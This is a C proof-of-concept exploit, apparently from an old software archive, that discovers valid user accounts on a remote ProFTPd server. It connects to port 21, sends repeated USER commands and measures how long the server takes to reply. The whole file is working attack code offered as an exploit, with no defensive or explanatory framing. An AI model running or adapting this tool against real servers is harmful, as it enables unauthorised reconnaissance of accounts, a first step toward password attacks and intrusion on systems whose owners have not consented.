home *** CD-ROM | disk | FTP | other *** search
- // ProFTPd remote users discovery based on code execution time - POC exploit
- // Coded by Leon Juranic // http://www.lss.hr
-
- #include <sys/socket.h>
- #include <sys/types.h>
- #include <stdio.h>
- #include <arpa/inet.h>
- #include <sys/time.h>
-
- #define PORT 21
- #define PROBE 8
-
- main (int argc, char **argv)
- {
- int sock,n,y;
- long dist,stat=0;
- struct sockaddr_in sin;
- char buf[1024], buf2[1024];
- struct timeval tv, tv2;
- struct timezone tz, tz2;
-
- printf ("Proftpd remote users discovery exploit\n"
- " Coded by Leon / LSS Security\n"
- ">-------------------------------------<\n");
-
- if (argc != 3) { printf ("usage: %s ",argv[0]); exit(0); }
-
- sock = socket (AF_INET, SOCK_STREAM, 0);
- sin.sin_family = AF_INET;
- sin.sin_port = htons (PORT);
- sin.sin_addr.s_addr = inet_addr (argv[1]);
- bzero (sin.sin_zero,8);
-
- connect (sock, (struct sockaddr*)&sin, sizeof(struct sockaddr));
-
- printf ("Login time: ");
- n = read (sock,buf2, sizeof(buf2));
- for (y=0;y<PROBE;y++) {
- gettimeofday (&tv,&tz);
- snprintf (buf, sizeof(buf)-1,"USER %s\r\n",argv[2]);
- write (sock, buf, strlen(buf));
- n = read (sock,buf2, sizeof(buf2));
- gettimeofday (&tv2,&tz2);
- dist =tv2.tv_usec - tv.tv_usec;
- stat += dist;
- printf (" %d |",dist);
- }
- printf ("\nAvrg: %d\n",(stat/PROBE));
- close (sock);
- }
-